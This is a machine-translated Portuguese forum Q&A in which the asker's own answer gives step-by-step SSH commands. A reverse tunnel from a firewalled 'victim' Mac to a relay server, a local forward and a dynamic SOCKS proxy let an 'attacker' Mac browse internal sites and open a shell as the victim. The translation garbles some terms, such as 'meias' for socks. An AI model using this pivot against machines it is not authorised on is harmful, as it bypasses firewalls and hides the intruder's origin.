
Minha situação é a seguinte:
- Trabalhe no Mac atrás de firewall, denominado 'Vítima'. (Alta Serra 10.13.3)
- Ubuntu VHS na rede, denominado 'servidor'. Que tem ssh rodando na porta 2222. (Ubuntu 16.04)
- outro Mac também atrás de firewall, denominado 'atacante'. (Alta Serra 10.13.3)
Quero usar meias para visitar sites internos acessíveis apenas pela 'vítima'.
Quando faço de 'vítima' e ssh para 'servidor' do invasor e executo , tenho acesso ao shell do invasor para a vítima.ssh -R 5555:localhost:22 [email protected] -P 2222
ssh victim@localhost -p 5555
O que preciso conseguir é usar meias para visitar sites acessíveis apenas pela ‘vítima’.
Entendo que devo configurar um túnel reverso da vítima para o servidor e configurar algum encaminhamento no servidor da porta de entrada para a porta de conexão reversa e também configurar o encaminhamento no invasor do host local para o remoto (que se conecta ao servidor), mas como fazer Eu faço isso?
Quando configuro meias diretamente do invasor para o servidor, apenas executo e configuro meias proxy v5 localhost:8080 no Firefox, mas não entendo como coloco o encaminhamento no servidor ...ssh -D 8080 [email protected] -p 2222
Alguém que possa me explicar? THX
Responder1
Aparentemente ninguém consegue responder a esta pergunta, tudo bem porque eu mesmo encontrei a resposta.
Aqui estão as respostas:
- Sobrevítima:
ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>
- Sobreatacante#1:
ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>
- Sobreatacante#2:
ssh -p 4444 -D localhost:3333 user_on_victim@localhost
- Sobreatacante#3: no Firefox ou irc, ou mesmo para as configurações gerais de rede: configurações de proxy Socks (v5): 127.0.0.1 porta 3333
Cada aplicativo para o qual você configurou o host localhost com a porta 3333 será encapsulado via serv para a vítima e quando você visitar algo comohttp://myip.comvocê verá o ip/host da vítima. A partir daqui você pode até usar aplicativos GUI noatacante(se você definir as configurações de meias para o aplicativo específico ou para o sistema como um todo) que será encapsulado viaservirparavítimae você atuará como ovítimaComo tal.
O erro que cometi em meu processo de pensamento foi que eu realmente não entendi a aparência do esquema de porta invertida, tentarei explicá-lo em termos simples.
Ação da vítima
ssh -N -f -R 5555:localhost:22 -p <port_of_serv> <ip_of_serv>
-N
= Não vou executar comandos no shell-f
= coloca o processo em segundo plano (para poder fechar a janela do terminal)-R
= túnel invertido5555:localhost:22
= 5555 é a porta na qual o serv internamente está escutando para encaminhar dados para a porta 22 emvítima. Se você configurou a vítima para executar o ssh na porta 2222, você deve alterar 22 para 2222.-p
= porta na qual o ssh está ativadoservirestá correndo.
1ª ação de ataque
ssh (-N -f) -L 4444:localhost:5555 -p <port_of_serv> <ip_of_serv>`
O primeiro comando que você dáatacante( -L 4444:localhost:5555
) configurará um túnel para que sua conexão com seu terceiro comando seja encapsulada diretamente paravítima. (Isso é apenas para aplicativos de encaminhamento de porta dinâmico/Socks)
Se você deseja apenas ter acesso ao shellvítimaem vez deste comando, você apenas faz ssh para serv e executa o comando: 'ssh user_on_victim@localhost -p 5555'.
Mas não queremos acesso ao shell, queremos encapsular todos os dados dinamicamente, então temos que fazer um encaminhamento de porta.
Ou a explicação esquemática
-L
= encaminhamento de porta local (ativadoservir)- 4444:localhost:5555
coloque todos os dados que chegam da porta 4444 na porta 5555.
2ª ação de ataque
O segundo comando que você dáatacante
ssh -p 4444 -D localhost:3333 user_on_victim@localhost
é o comando real que inicializará a conexão através dos 2 túneis. O que você faz é dizer: conecte-se à porta 4444 e coloque todos os dados que chegam (porta localhost 3333) em 4444. (que serão transmitidos localmente emservirpara a porta 5555 -> que será enviado para a porta 22 emvítima.
Ou a explicação esquemática
-D
= Encaminhamento dinâmicolocalhost:3333
= ouça na porta 3333 e envie os dados através da conexão ssh para a porta 4444 para serv.-p 4444
= a porta em queservirestá ouvindo para encaminhar os dados para a porta 5555 e depois para a porta 22 emvítima.
3ª ação de ataque
Configure seus aplicativos ou até mesmo todo o seu sistema para usar o servidor proxy SOCKS (v5) no endereço: porta localhost: 3333. Não importa em quais portas esses aplicativos rodam normalmente porque isso será tratado pelo servidor proxy. Em teoria, todo aplicativo pode ser executado por meio de encaminhamento de porta dinâmico de proxy de meias. Você só terá que configurá-lo. :)
A 3ª ação ematacantesão os dados reais para os quais você irá encapsularvítima. Não importa quais dados ou aplicativos sejam, por isso é encaminhamento dinâmico, não importa em quais portas esses aplicativos rodam porque isso será tratado pelo SOCKS.
Espero que alguém encontre utilidade em minha explicação.
Tenha um bom dia....